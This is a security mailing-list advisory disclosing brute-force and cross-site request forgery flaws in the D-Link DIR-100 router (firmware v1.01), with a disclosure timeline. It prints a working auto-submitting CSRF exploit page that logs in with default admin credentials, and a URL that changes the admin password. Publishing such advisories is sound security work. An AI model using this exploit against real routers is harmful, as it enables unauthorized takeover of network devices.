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Vulnerabilities in D-Link DIR-100
From: "MustLive" <mustlive () websecurity com ua>
Date: Sun, 25 Jun 2017 23:58:13 +0300
Hello list!There are Brute Force and Cross-Site Request Forgery vulnerabilities in D-Link DIR-100.
------------------------- Affected products: -------------------------Vulnerable is the next model: D-Link DIR-100, Firmware v1.01. All other versions also must be vulnerable.
---------- Details: ---------- Brute Force (WASC-11): http://site/public/login.htm No protection from BF attacks in login form. Cross-Site Request Forgery (WASC-09):Lack of protection against Brute Force (such as captcha) also leads to possibility of conducting of CSRF attacks, which I wrote about in the article Attacks on unprotected login forms (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html). It allows to conduct remote login. Which will be in handy at conducting of attacks on different CSRF and XSS vulnerabilities in control panel.
D-Link DIR-100 CSRF.html <html> <head><title>D-Link DIR-100 CSRF exploit (C) 2017 MustLive. http://websecurity.com.ua</title>
</head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/postlogin.xgi"; method="post"> <input type="hidden" name="authen_username" value="admin"> <input type="hidden" name="authen_password" value="admin"> </form> </body> </html> Cross-Site Request Forgery (WASC-09): Change admin's password: http://site/Tools/tools_admin.xgi?SET/sys/account/superUserName=admin&SET/sys/account/superUserPassword=admin ------------ Timeline: ------------ 2015.05.02 - announced at my site about vulnerabilities in DIR-100.2015-2017 - informed developers about multiple vulnerabilities in this and other D-Link devices.
2017.02.04 - disclosed at my site (http://websecurity.com.ua/7745/). Best wishes & regards, MustLive Administrator of Websecurity web sitehttp://websecurity.com.ua
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